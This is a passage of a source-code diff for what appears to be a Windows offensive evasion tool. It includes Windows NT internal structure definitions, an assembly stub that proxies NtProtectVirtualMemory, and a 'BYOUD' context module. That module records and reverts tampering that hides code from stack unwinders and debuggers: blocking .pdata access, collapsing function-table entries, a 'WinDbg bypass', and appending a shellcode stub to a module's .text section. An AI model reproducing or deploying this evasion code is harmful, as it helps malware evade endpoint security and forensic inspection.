SpareCrossTebFlags : 16; + }; + USHORT CrossTebFlags; + }; + union + { + struct + { + USHORT DbgSafeThunkCall : 1; + USHORT DbgInDebugPrint : 1; + USHORT DbgHasFiberData : 1; + USHORT DbgSkipThreadAttach : 1; + USHORT DbgWerInShipAssertCode : 1; + USHORT DbgIssuedInitialBp : 1; + USHORT DbgClonedThread : 1; + USHORT SpareSameTebBits : 9; + }; + USHORT SameTebFlags; + }; + PVOID TxnScopeEntercallback; + PVOID TxnScopeExitCAllback; + PVOID TxnScopeContext; + ULONG LockCount; + ULONG ProcessRundown; + ULONG64 LastSwitchTime; + ULONG64 TotalSwitchOutTime; + LARGE_INTEGER WaitReasonBitMap; +#else + BOOLEAN SafeThunkCall; + BOOLEAN BooleanSpare[3]; +#endif +} TEB, * PTEB; + +typedef struct _LDR_DATA_TABLE_ENTRY { + LIST_ENTRY InLoadOrderLinks; + LIST_ENTRY InMemoryOrderLinks; + LIST_ENTRY InInitializationOrderLinks; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + WORD LoadCount; + WORD TlsIndex; + union { + LIST_ENTRY HashLinks; + struct { + PVOID SectionPointer; + ULONG CheckSum; + }; + }; + union { + ULONG TimeDateStamp; + PVOID LoadedImports; + }; + PACTIVATION_CONTEXT EntryPointActivationContext; + PVOID PatchInformation; + LIST_ENTRY ForwarderLinks; + LIST_ENTRY ServiceTagLinks; + LIST_ENTRY StaticLinks; +} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; + + +typedef struct _INITIAL_TEB { + PVOID StackBase; + PVOID StackLimit; + PVOID StackCommit; + PVOID StackCommitMax; + PVOID StackReserved; +} INITIAL_TEB, * PINITIAL_TEB; + +typedef struct _OBJECT_ATTRIBUTES { + ULONG Length; + HANDLE RootDirectory; + PUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; + PVOID SecurityQualityOfService; +} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; + + + + +typedef enum _PS_CREATE_STATE +{ + PsCreateInitialState, + PsCreateFailOnFileOpen, + PsCreateFailOnSectionCreate, + PsCreateFailExeFormat, + PsCreateFailMachineMismatch, + PsCreateFailExeName, + PsCreateSuccess, + PsCreateMaximumStates + +} PS_CREATE_STATE; + +typedef struct _PS_CREATE_INFO +{ + SIZE_T Size; + PS_CREATE_STATE State; + union + { + struct + { + union + { + ULONG InitFlags; + struct + { + UCHAR WriteOutputOnExit : 1; + UCHAR DetectManifest : 1; + UCHAR IFEOSkipDebugger : 1; + UCHAR IFEODoNotPropagateKeyState : 1; + UCHAR SpareBits1 : 4; + UCHAR SpareBits2 : 8; + USHORT ProhibitedImageCharacteristics : 16; + } s1; + } u1; + ACCESS_MASK AdditionalFileAccess; + } InitState; + + struct + { + HANDLE FileHandle; + } FailSection; + + struct + { + USHORT DllCharacteristics; + } ExeFormat; + + struct + { + HANDLE IFEOKey; + } ExeName; + + struct + { + union + { + ULONG OutputFlags; + struct + { + UCHAR ProtectedProcess : 1; + UCHAR AddressSpaceOverride : 1; + UCHAR DevOverrideEnabled : 1; + UCHAR ManifestDetected : 1; + UCHAR ProtectedProcessLight : 1; + UCHAR SpareBits1 : 3; + UCHAR SpareBits2 : 8; + USHORT SpareBits3 : 16; + } s2; + } u2; + HANDLE FileHandle; + HANDLE SectionHandle; + ULONGLONG UserProcessParametersNative; + ULONG UserProcessParametersWow64; + ULONG CurrentParameterFlags; + ULONGLONG PebAddressNative; + ULONG PebAddressWow64; + ULONGLONG ManifestAddress; + ULONG ManifestSize; + } SuccessState; + }; + +} PS_CREATE_INFO, * PPS_CREATE_INFO; + + + +typedef struct _PS_ATTRIBUTE +{ + ULONG_PTR Attribute; + SIZE_T Size; + union + { + ULONG_PTR Value; + PVOID ValuePtr; + }; + PSIZE_T ReturnLength; + +} PS_ATTRIBUTE, * PPS_ATTRIBUTE; + + + +typedef struct _PS_ATTRIBUTE_LIST +{ + SIZE_T TotalLength; + PS_ATTRIBUTE Attributes[3]; + +} PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST; + + +typedef NTSTATUS(NTAPI* PUSER_THREAD_START_ROUTINE)( + _In_ PVOID ThreadParameter +); + +typedef VOID(NTAPI* PPS_APC_ROUTINE) ( + _In_opt_ PVOID ApcArgument1, + _In_opt_ PVOID ApcArgument2, + _In_opt_ PVOID ApcArgument3 +); + +#define PS_ATTRIBUTE_NUMBER_MASK 0x0000ffff +#define PS_ATTRIBUTE_THREAD 0x00010000 // Attribute may be used with thread creation +#define PS_ATTRIBUTE_INPUT 0x00020000 // Attribute is input only +#define PS_ATTRIBUTE_ADDITIVE 0x00040000 // Attribute may be "accumulated", e.g. bitmasks, counters, etc. + +typedef enum _PS_ATTRIBUTE_NUM +{ + PsAttributeParentProcess, // in HANDLE + PsAttributeDebugPort, // in HANDLE + PsAttributeToken, // in HANDLE + PsAttributeClientId, // out PCLIENT_ID + PsAttributeTebAddress, // out PTEB + PsAttributeImageName, // in PWSTR + PsAttributeImageInfo, // out PSECTION_IMAGE_INFORMATION + PsAttributeMemoryReserve, // in PPS_MEMORY_RESERVE + PsAttributePriorityClass, // in UCHAR + PsAttributeErrorMode, // in ULONG + PsAttributeStdHandleInfo, // in PPS_STD_HANDLE_INFO + PsAttributeHandleList, // in PHANDLE + PsAttributeGroupAffinity, // in PGROUP_AFFINITY + PsAttributePreferredNode, // in PUSHORT + PsAttributeIdealProcessor, // in PPROCESSOR_NUMBER + PsAttributeUmsThread, // see MSDN UpdateProceThreadAttributeList (CreateProcessW) - in PUMS_CREATE_THREAD_ATTRIBUTES + PsAttributeMitigationOptions, // in UCHAR + PsAttributeProtectionLevel, // in ULONG + PsAttributeSecureProcess, // since THRESHOLD (Virtual Secure Mode, Device Guard) + PsAttributeJobList, + PsAttributeChildProcessPolicy, // since THRESHOLD2 + PsAttributeAllApplicationPackagesPolicy, // since REDSTONE + PsAttributeWin32kFilter, + PsAttributeSafeOpenPromptOriginClaim, + PsAttributeBnoIsolation, + PsAttributeDesktopAppPolicy, + PsAttributeMax +} PS_ATTRIBUTE_NUM; + + +#define PsAttributeValue(Number, Thread, Input, Additive) \ + (((Number) & PS_ATTRIBUTE_NUMBER_MASK) | \ + ((Thread) ? PS_ATTRIBUTE_THREAD : 0) | \ + ((Input) ? PS_ATTRIBUTE_INPUT : 0) | \ + ((Additive) ? PS_ATTRIBUTE_ADDITIVE : 0)) + +#define PS_ATTRIBUTE_PARENT_PROCESS \ + PsAttributeValue(PsAttributeParentProcess, FALSE, TRUE, TRUE) +#define PS_ATTRIBUTE_DEBUG_PORT \ + PsAttributeValue(PsAttributeDebugPort, FALSE, TRUE, TRUE) +#define PS_ATTRIBUTE_TOKEN \ + PsAttributeValue(PsAttributeToken, FALSE, TRUE, TRUE) +#define PS_ATTRIBUTE_CLIENT_ID \ + PsAttributeValue(PsAttributeClientId, TRUE, FALSE, FALSE) +#define PS_ATTRIBUTE_TEB_ADDRESS \ + PsAttributeValue(PsAttributeTebAddress, TRUE, FALSE, FALSE) +#define PS_ATTRIBUTE_IMAGE_NAME \ + PsAttributeValue(PsAttributeImageName, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_IMAGE_INFO \ + PsAttributeValue(PsAttributeImageInfo, FALSE, FALSE, FALSE) +#define PS_ATTRIBUTE_MEMORY_RESERVE \ + PsAttributeValue(PsAttributeMemoryReserve, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_PRIORITY_CLASS \ + PsAttributeValue(PsAttributePriorityClass, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_ERROR_MODE \ + PsAttributeValue(PsAttributeErrorMode, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_STD_HANDLE_INFO \ + PsAttributeValue(PsAttributeStdHandleInfo, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_HANDLE_LIST \ + PsAttributeValue(PsAttributeHandleList, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_GROUP_AFFINITY \ + PsAttributeValue(PsAttributeGroupAffinity, TRUE, TRUE, FALSE) +#define PS_ATTRIBUTE_PREFERRED_NODE \ + PsAttributeValue(PsAttributePreferredNode, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_IDEAL_PROCESSOR \ + PsAttributeValue(PsAttributeIdealProcessor, TRUE, TRUE, FALSE) +#define PS_ATTRIBUTE_MITIGATION_OPTIONS \ + PsAttributeValue(PsAttributeMitigationOptions, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_PROTECTION_LEVEL \ + PsAttributeValue(PsAttributeProtectionLevel, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_UMS_THREAD \ + PsAttributeValue(PsAttributeUmsThread, TRUE, TRUE, FALSE) +#define PS_ATTRIBUTE_SECURE_PROCESS \ + PsAttributeValue(PsAttributeSecureProcess, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_JOB_LIST \ + PsAttributeValue(PsAttributeJobList, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_CHILD_PROCESS_POLICY \ + PsAttributeValue(PsAttributeChildProcessPolicy, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_ALL_APPLICATION_PACKAGES_POLICY \ + PsAttributeValue(PsAttributeAllApplicationPackagesPolicy, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_WIN32K_FILTER \ + PsAttributeValue(PsAttributeWin32kFilter, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_SAFE_OPEN_PROMPT_ORIGIN_CLAIM \ + PsAttributeValue(PsAttributeSafeOpenPromptOriginClaim, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_BNO_ISOLATION \ + PsAttributeValue(PsAttributeBnoIsolation, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_DESKTOP_APP_POLICY \ + PsAttributeValue(PsAttributeDesktopAppPolicy, FALSE, TRUE, FALSE) + + + + +#define RTL_USER_PROC_PARAMS_NORMALIZED 0x00000001 +#define RTL_USER_PROC_PROFILE_USER 0x00000002 +#define RTL_USER_PROC_PROFILE_KERNEL 0x00000004 +#define RTL_USER_PROC_PROFILE_SERVER 0x00000008 +#define RTL_USER_PROC_RESERVE_1MB 0x00000020 +#define RTL_USER_PROC_RESERVE_16MB 0x00000040 +#define RTL_USER_PROC_CASE_SENSITIVE 0x00000080 +#define RTL_USER_PROC_DISABLE_HEAP_DECOMMIT 0x00000100 +#define RTL_USER_PROC_DLL_REDIRECTION_LOCAL 0x00001000 +#define RTL_USER_PROC_APP_MANIFEST_PRESENT 0x00002000 +#define RTL_USER_PROC_IMAGE_KEY_MISSING 0x00004000 +#define RTL_USER_PROC_OPTIN_PROCESS 0x00020000 + + + + + +typedef enum _SYSTEM_INFORMATION_CLASS +{ + SystemBasicInformation = 0, + SystemProcessorInformation = 1, + SystemPerformanceInformation = 2, + SystemTimeOfDayInformation = 3, + SystemPathInformation = 4, + SystemProcessInformation = 5, + SystemCallCountInformation = 6, + SystemDeviceInformation = 7, + SystemProcessorPerformanceInformation = 8, + SystemFlagsInformation = 9, + SystemCallTimeInformation = 10, + SystemModuleInformation = 11, + SystemLocksInformation = 12, + SystemStackTraceInformation = 13, + SystemPagedPoolInformation = 14, + SystemNonPagedPoolInformation = 15, + SystemHandleInformation = 16, + SystemObjectInformation = 17, + SystemPageFileInformation = 18, + SystemVdmInstemulInformation = 19, + SystemVdmBopInformation = 20, + SystemFileCacheInformation = 21, + SystemPoolTagInformation = 22, + SystemInterruptInformation = 23, + SystemDpcBehaviorInformation = 24, + SystemFullMemoryInformation = 25, + SystemLoadGdiDriverInformation = 26, + SystemUnloadGdiDriverInformation = 27, + SystemTimeAdjustmentInformation = 28, + SystemSummaryMemoryInformation = 29, + SystemMirrorMemoryInformation = 30, + SystemPerformanceTraceInformation = 31, + SystemObsolete0 = 32, + SystemExceptionInformation = 33, + SystemCrashDumpStateInformation = 34, + SystemKernelDebuggerInformation = 35, + SystemContextSwitchInformation = 36, + SystemRegistryQuotaInformation = 37, + SystemExtendServiceTableInformation = 38, + SystemPrioritySeperation = 39, + SystemVerifierAddDriverInformation = 40, + SystemVerifierRemoveDriverInformation = 41, + SystemProcessorIdleInformation = 42, + SystemLegacyDriverInformation = 43, + SystemCurrentTimeZoneInformation = 44, + SystemLookasideInformation = 45, + SystemTimeSlipNotification = 46, + SystemSessionCreate = 47, + SystemSessionDetach = 48, + SystemSessionInformation = 49, + SystemRangeStartInformation = 50, + SystemVerifierInformation = 51, + SystemVerifierThunkExtend = 52, + SystemSessionProcessInformation = 53, + SystemLoadGdiDriverInSystemSpace = 54, + SystemNumaProcessorMap = 55, + SystemPrefetcherInformation = 56, + SystemExtendedProcessInformation = 57, + SystemRecommendedSharedDataAlignment = 58, + SystemComPlusPackage = 59, + SystemNumaAvailableMemory = 60, + SystemProcessorPowerInformation = 61, + SystemEmulationBasicInformation = 62, + SystemEmulationProcessorInformation = 63, + SystemExtendedHandleInformation = 64, + SystemLostDelayedWriteInformation = 65, + SystemBigPoolInformation = 66, + SystemSessionPoolTagInformation = 67, + SystemSessionMappedViewInformation = 68, + SystemHotpatchInformation = 69, + SystemObjectSecurityMode = 70, + SystemWatchdogTimerHandler = 71, + SystemWatchdogTimerInformation = 72, + SystemLogicalProcessorInformation = 73, + SystemWow64SharedInformation = 74, + SystemRegisterFirmwareTableInformationHandler = 75, + SystemFirmwareTableInformation = 76, + SystemModuleInformationEx = 77, + SystemVerifierTriageInformation = 78, + SystemSuperfetchInformation = 79, + SystemMemoryListInformation = 80, + SystemFileCacheInformationEx = 81, + MaxSystemInfoClass = 82 + +} SYSTEM_INFORMATION_CLASS; + + +#define PS_REQUEST_BREAKAWAY 1 +#define PS_NO_DEBUG_INHERIT 2 +#define PS_INHERIT_HANDLES 4 +#define PS_LARGE_PAGES 8 +#define PS_ALL_FLAGS (PS_REQUEST_BREAKAWAY | PS_NO_DEBUG_INHERIT | PS_INHERIT_HANDLES | PS_LARGE_PAGES) + +typedef struct _IO_STATUS_BLOCK +{ + union + { + NTSTATUS Status; + PVOID Pointer; + }; + + ULONG_PTR Information; + +} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK; + +#ifndef PIO_APC_ROUTINE_DEFINED +typedef +VOID +(NTAPI* PIO_APC_ROUTINE) ( + IN PVOID ApcContext, + IN PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG Reserved + ); +#define PIO_APC_ROUTINE_DEFINED +#endif // PIO_APC_ROUTINE_DEFINED + + +typedef struct _FILE_DISPOSITION_INFORMATION { + BOOLEAN DeleteFile; +} FILE_DISPOSITION_INFORMATION, * PFILE_DISPOSITION_INFORMATION; + +#ifndef FILE_SUPERSEDE +#define FILE_SUPERSEDE 0x00000000 +#define FILE_OPEN 0x00000001 +#define FILE_CREATE 0x00000002 +#define FILE_OPEN_IF 0x00000003 +#define FILE_OVERWRITE 0x00000004 +#define FILE_OVERWRITE_IF 0x00000005 +#define FILE_MAXIMUM_DISPOSITION 0x00000005 +#endif + +// Define the create/open option flags +#ifndef FILE_DIRECTORY_FILE +#define FILE_DIRECTORY_FILE 0x00000001 +#define FILE_WRITE_THROUGH 0x00000002 +#define FILE_SEQUENTIAL_ONLY 0x00000004 +#define FILE_NO_INTERMEDIATE_BUFFERING 0x00000008 +#define FILE_SYNCHRONOUS_IO_ALERT 0x00000010 +#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020 +#define FILE_NON_DIRECTORY_FILE 0x00000040 +#define FILE_CREATE_TREE_CONNECTION 0x00000080 +#define FILE_COMPLETE_IF_OPLOCKED 0x00000100 +#define FILE_NO_EA_KNOWLEDGE 0x00000200 +#define FILE_OPEN_FOR_RECOVERY 0x00000400 +#define FILE_RANDOM_ACCESS 0x00000800 +#define FILE_DELETE_ON_CLOSE 0x00001000 +#define FILE_OPEN_BY_FILE_ID 0x00002000 +#define FILE_OPEN_FOR_BACKUP_INTENT 0x00004000 +#define FILE_NO_COMPRESSION 0x00008000 +#define FILE_RESERVE_OPFILTER 0x00100000 +#define FILE_OPEN_REPARSE_POINT 0x00200000 +#define FILE_OPEN_NO_RECALL 0x00400000 +#define FILE_OPEN_FOR_FREE_SPACE_QUERY 0x00800000 +#endif // FILE_DIRECTORY_FILE + +typedef LONG KPRIORITY; + +typedef struct _PROCESS_BASIC_INFORMATION +{ + NTSTATUS ExitStatus; + PPEB PebBaseAddress; + ULONG_PTR AffinityMask; + KPRIORITY BasePriority; + ULONG_PTR UniqueProcessId; + ULONG_PTR InheritedFromUniqueProcessId; + +} PROCESS_BASIC_INFORMATION, * PPROCESS_BASIC_INFORMATION; + + +typedef enum _FILE_INFORMATION_CLASS +{ + FileDirectoryInformation = 1, + FileFullDirectoryInformation, // 2 + FileBothDirectoryInformation, // 3 + FileBasicInformation, // 4 wdm + FileStandardInformation, // 5 wdm + FileInternalInformation, // 6 + FileEaInformation, // 7 + FileAccessInformation, // 8 + FileNameInformation, // 9 + FileRenameInformation, // 10 + FileLinkInformation, // 11 + FileNamesInformation, // 12 + FileDispositionInformation, // 13 + FilePositionInformation, // 14 wdm + FileFullEaInformation, // 15 + FileModeInformation, // 16 + FileAlignmentInformation, // 17 + FileAllInformation, // 18 + FileAllocationInformation, // 19 + FileEndOfFileInformation, // 20 wdm + FileAlternateNameInformation, // 21 + FileStreamInformation, // 22 + FilePipeInformation, // 23 + FilePipeLocalInformation, // 24 + FilePipeRemoteInformation, // 25 + FileMailslotQueryInformation, // 26 + FileMailslotSetInformation, // 27 + FileCompressionInformation, // 28 + FileObjectIdInformation, // 29 + FileCompletionInformation, // 30 + FileMoveClusterInformation, // 31 + FileQuotaInformation, // 32 + FileReparsePointInformation, // 33 + FileNetworkOpenInformation, // 34 + FileAttributeTagInformation, // 35 + FileTrackingInformation, // 36 + FileIdBothDirectoryInformation, // 37 + FileIdFullDirectoryInformation, // 38 + FileValidDataLengthInformation, // 39 + FileShortNameInformation, // 40 + FileIoCompletionNotificationInformation, // 41 + FileIoStatusBlockRangeInformation, // 42 + FileIoPriorityHintInformation, // 43 + FileSfioReserveInformation, // 44 + FileSfioVolumeInformation, // 45 + FileHardLinkInformation, // 46 + FileProcessIdsUsingFileInformation, // 47 + FileMaximumInformation // 48 +} FILE_INFORMATION_CLASS, * PFILE_INFORMATION_CLASS; + +typedef enum _PROCESSINFOCLASS { + ProcessBasicInformation, + ProcessQuotaLimits, + ProcessIoCounters, + ProcessVmCounters, + ProcessTimes, + ProcessBasePriority, + ProcessRaisePriority, + ProcessDebugPort, + ProcessExceptionPort, + ProcessAccessToken, + ProcessLdtInformation, + ProcessLdtSize, + ProcessDefaultHardErrorMode, + ProcessIoPortHandlers, // Note: this is kernel mode only + ProcessPooledUsageAndLimits, + ProcessWorkingSetWatch, + ProcessUserModeIOPL, + ProcessEnableAlignmentFaultFixup, + ProcessPriorityClass, + ProcessWx86Information, + ProcessHandleCount, + ProcessAffinityMask, + ProcessPriorityBoost, + ProcessDeviceMap, + ProcessSessionInformation, + ProcessForegroundInformation, + ProcessWow64Information, + ProcessImageFileName, + ProcessLUIDDeviceMapsEnabled, + ProcessBreakOnTermination, + ProcessDebugObjectHandle, + ProcessDebugFlags, + ProcessHandleTracing, + MaxProcessInfoClass // MaxProcessInfoClass should always be the last enum +} PROCESSINFOCLASS; + +typedef struct _SYSTEM_THREAD_INFORMATION { + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER CreateTime; + ULONG WaitTime; + PVOID StartAddress; + CLIENT_ID ClientId; + KPRIORITY Priority; + LONG BasePriority; + ULONG ContextSwitches; + ULONG ThreadState; + ULONG WaitReason; +} SYSTEM_THREAD_INFORMATION, * PSYSTEM_THREAD_INFORMATION; + +typedef struct _SYSTEM_PROCESS_INFORMATION { + ULONG NextEntryOffset; + ULONG NumberOfThreads; + LARGE_INTEGER WorkingSetPrivateSize; + ULONG HardFaultCount; + BYTE Reserved1[36]; + UNICODE_STRING ImageName; + KPRIORITY BasePriority; + HANDLE UniqueProcessId; + PVOID InheritedFromUniqueProcessId; + ULONG HandleCount; + ULONG SessionId; + ULONG_PTR UniqueProcessKey; + SIZE_T PeakVirtualSize; + SIZE_T VirtualSize; + ULONG PageFaultCount; + SIZE_T PeakWorkingSetSize; + SIZE_T WorkingSetSize; + SIZE_T QuotaPeakPagedPoolUsage; + SIZE_T QuotaPagedPoolUsage; + SIZE_T QuotaPeakNonPagedPoolUsage; + SIZE_T QuotaNonPagedPoolUsage; + SIZE_T PagefileUsage; + SIZE_T PeakPagefileUsage; + SIZE_T PrivatePageCount; + LARGE_INTEGER ReadOperationCount; + LARGE_INTEGER WriteOperationCount; + LARGE_INTEGER OtherOperationCount; + LARGE_INTEGER ReadTransferCount; + LARGE_INTEGER WriteTransferCount; + LARGE_INTEGER OtherTransferCount; + SYSTEM_THREAD_INFORMATION Threads[1]; +} SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION; + + +#endif // !STRUCTS_H \ No newline at end of file diff --git a/src/ApiStub.asm b/src/ApiStub.asm new file mode 100644 index 0000000..93c6025 --- /dev/null +++ b/src/ApiStub.asm @@ -0,0 +1,27 @@ +; ApiStub.asm +.code + +;=========================================== +; StubProxyNtProtectVirtualMemory Procedure +;=========================================== +StubProxyNtProtectVirtualMemory PROC + push rbx ; Backup RBX value + mov rbx, rcx ; Backup PROTECT_MEMORY_CTX structure into a nonvol register + + mov rax, [rbx] ; Move NtProtectVirtualMemory into RAX + + ; ====== REGISTER PARAMETERS ;====== + mov rcx, [rbx + 8h] ; Move ProcessHandle parameter into RCX + mov rdx, [rbx + 10h] ; Move *BaseAddress parameter into RDX + mov r8, [rbx + 18h] ; Move RegionSize parameter into R8 + mov r9, [rbx + 20h] ; Move NewProtection parameter into R9 + + ; ====== STACK PARAMETERS ; ====== + mov r10, [rbx + 28h] ; Move OldProtection parameter into r10 + mov [rsp + 30h], r10 ; Push onto the stack + + pop rbx ; Restore RBX value + jmp rax ; Jump directly to NtProtectVirtualMemory +StubProxyNtProtectVirtualMemory ENDP + +END \ No newline at end of file diff --git a/src/Context.cpp b/src/Context.cpp new file mode 100644 index 0000000..15ad9af --- /dev/null +++ b/src/Context.cpp @@ -0,0 +1,225 @@ +/* Context.cpp */ +#include +#include "Structs.h" +#include "Primitives.h" +#include "Common.h" +#include "Debug.h" + +/*================================================ +@ InitializeSpoofContext Function +# Zeros out the BYOUD_CONTEXT structure and sets +# the active technique ID and target module base +================================================*/ +VOID ByoudContext::InitializeSpoofContext( + OUT PBYOUD_CONTEXT pByoudCtx, + _In_ DWORD dwTechnique, + _In_ PVOID pTarget +) { + Primitive::MemorySet(pByoudCtx, 0, sizeof(BYOUD_CONTEXT)); + pByoudCtx->Technique = dwTechnique; + pByoudCtx->pTargetModule = pTarget; +} + +/*================================================ +@ CommitSpoofChange Function +# Pushes a BYOUD_CHANGE entry into the context's +# change log array. Returns FALSE if the log is +# full (BYOUD_MAX_CHANGES reached) +================================================*/ +BOOL ByoudContext::CommitSpoofChange( + _Inout_ PBYOUD_CONTEXT pByoudCtx, + _In_ PBYOUD_CHANGE pByoudChange +) { + if (pByoudCtx->Count >= BYOUD_MAX_CHANGES) + return FALSE; + + pByoudCtx->Changes[pByoudCtx->Count++] = *pByoudChange; + return TRUE; +} + +/*================================================ +@ TrackCacheNullification Function +# Records a cache zeroing operation so it can be +# reverted later. Stores the cache address and +# its original value before nullification +================================================*/ +BOOL ByoudContext::TrackCacheNullification( + _Inout_ PBYOUD_CONTEXT pByoudCtx, + _In_ ULONG_PTR uAddress, + _In_ DWORD dwOld +) { + BYOUD_CHANGE Change = {}; + Change.Type = BCT_CACHE_ZERO; + Change.u.Cache.Address = uAddress; + Change.u.Cache.OldValue = dwOld; + return CommitSpoofChange(pByoudCtx, &Change); +} + +/*================================================ +@ TrackPDataProtection Function +# Records a .pdata protection change (either +# PAGE_READWRITE or PAGE_NOACCESS) so the +# original protection can be restored on cleanup +================================================*/ +BOOL ByoudContext::TrackPDataProtection( + _Inout_ PBYOUD_CONTEXT pByoudCtx, + _In_ PVOID pModule, + _In_ PVOID pBase, + _In_ SIZE_T Size, + _In_ DWORD dwOldProtect +) { + BYOUD_CHANGE Change = {}; + Change.Type = BCT_PDATA_PROTECT; + Change.u.Pdata.pModule = pModule; + Change.u.Pdata.Base = pBase; + Change.u.Pdata.Size = Size; + Change.u.Pdata.OldProtect = dwOldProtect; + return CommitSpoofChange(pByoudCtx, &Change); +} + +/*================================================ +@ TrackInvertedTableCollapse Function +# Records the original ImageSize before it was +# set to 0 in _INVERTED_FUNCTION_TABLE, enabling +# ExpandInvertedTableEntry to restore it later +================================================*/ +BOOL ByoudContext::TrackInvertedTableCollapse( + _Inout_ PBYOUD_CONTEXT pByoudCtx, + _In_ PVOID pModule, + _In_ ULONG ulOldSize +) { + BYOUD_CHANGE Change = {}; + Change.Type = BCT_INVERTED_TABLE_SHRINK; + Change.u.InvertedTable.pModule = pModule; + Change.u.InvertedTable.OldImageSize = ulOldSize; + return CommitSpoofChange(pByoudCtx, &Change); +} + +/*================================================ +@ TrackDynamicTableInsertion Function +# Records the allocated RUNTIME_FUNCTION pointer +# so RtlDeleteFunctionTable can remove it and +# the memory can be freed during cleanup +================================================*/ +BOOL ByoudContext::TrackDynamicTableInsertion( + _Inout_ PBYOUD_CONTEXT pByoudCtx, + _In_ PRUNTIME_FUNCTION pRuntimeFunction +) { + BYOUD_CHANGE Change = {}; + Change.Type = BCT_DYNAMIC_TABLE_ADD; + Change.u.DynamicAdd.pFunctionTable = pRuntimeFunction; + return CommitSpoofChange(pByoudCtx, &Change); +} + +/*================================================ +@ TrackDynamicTableTypeChange Function +# Records the original Type field value of the +# _DYNAMIC_FUNCTION_TABLE entry before it was +# set to 0 (RF_CALLBACK) for WinDbg bypass +================================================*/ +BOOL ByoudContext::TrackDynamicTableTypeChange( + _Inout_ PBYOUD_CONTEXT pByoudCtx, + _In_ PVOID pEntry, + _In_ DWORD dwOldType +) { + BYOUD_CHANGE Change = {}; + Change.Type = BCT_DYNAMIC_TABLE_TYPE; + Change.u.DynamicType.pEntry = pEntry; + Change.u.DynamicType.OldType = dwOldType; + return CommitSpoofChange(pByoudCtx, &Change); +} + +/*================================================ +@ TrackShellcodeInjection Function +# Records the ShadowGate stub appended to .text +# so it can be zeroed during cleanup +================================================*/ +BOOL ByoudContext::TrackShellcodeInjection( + _Inout_ PBYOUD_CONTEXT pByoudCtx, + _In_ PVOID pModule, + _In_ PVOID pAddress, + _In_ DWORD dwSize +) { + BYOUD_CHANGE Change = {}; + Change.Type = BCT_SHELLCODE_APPENDED; + Change.u.ShellcodeAppended.pModule = pModule; + Change.u.ShellcodeAppended.pAddress = pAddress; + Change.u.ShellcodeAppended.Size = dwSize; + return CommitSpoofChange(pByoudCtx, &Change); +} + +/*================================================ +@ RevertAllSpoofChanges Function +# Walks the change log in reverse order and undoes +# every tracked modification. Reverse order is +# critical — PAGE_NOACCESS must be removed first +# or subsequent .pdata access will fault +================================================*/ +BOOL ByoudContext::RevertAllSpoofChanges( + _Inout_ PBYOUD_CONTEXT pByoudCtx +) { + BOOL B0K = TRUE; + DWORD Dummy = 0; + + for (int i = (int)pByoudCtx->Count - 1; i >= 0; i--) { + + PBYOUD_CHANGE pC = &pByoudCtx->Changes[i]; + + switch (pC->Type) { + + case BCT_CACHE_ZERO: { + PVOID BaseAddress = (PVOID)pC->u.Cache.Address; + SIZE_T RegionSize = sizeof(DWORD); + Proxy::WorkItemNtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, PAGE_READWRITE, &Dummy); + *(PDWORD)pC->u.Cache.Address = pC->u.Cache.OldValue; + Proxy::WorkItemNtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, PAGE_READONLY, &Dummy); + break; + } + + case BCT_PDATA_PROTECT: { + PVOID BaseAddress = pC->u.Pdata.Base; + SIZE_T RegionSize = pC->u.Pdata.Size; + Proxy::WorkItemNtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, pC->u.Pdata.OldProtect, &Dummy); + break; + } + + case BCT_PDATA_NOACCESS: { + StackSpoof::RestorePDataAccess(pC->u.Pdata.pModule, pC->u.Pdata.OldProtect); + break; + } + + case BCT_INVERTED_TABLE_SHRINK: { + Unwinder::ExpandInvertedTableEntry(pC->u.InvertedTable.pModule, pC->u.InvertedTable.OldImageSize); + break; + } + + case BCT_DYNAMIC_TABLE_ADD: { + g_Win32.Nt.RtlDeleteFunctionTable(pC->u.DynamicAdd.pFunctionTable); + ::operator delete(pC->u.DynamicAdd.pFunctionTable); + break; + } + + case BCT_DYNAMIC_TABLE_TYPE: { + *(PDWORD)((ULONG_PTR)pC->u.DynamicType.pEntry + 0x50) = pC->u.DynamicType.OldType; + break; + } + + case BCT_SHELLCODE_APPENDED: { + PVOID BaseAddress = pC->u.ShellcodeAppended.pAddress; + SIZE_T RegionSize = pC->u.ShellcodeAppended.Size; + DWORD OldProt = 0; + Proxy::WorkItemNtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, PAGE_EXECUTE_READWRITE, &OldProt); + Primitive::MemorySet( + pC->u.ShellcodeAppended.pAddress, + 0, + pC->u.ShellcodeAppended.Size + ); + Proxy::WorkItemNtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, PAGE_EXECUTE_READ, &Dummy); + break; + } + } + } + + pByoudCtx->Count = 0; + return B0K; +} \ No newline at end of file diff --git a/src/Debug.cpp b/src/Debug.cpp new file mode 100644 index 0000000..e31e2c5 --- 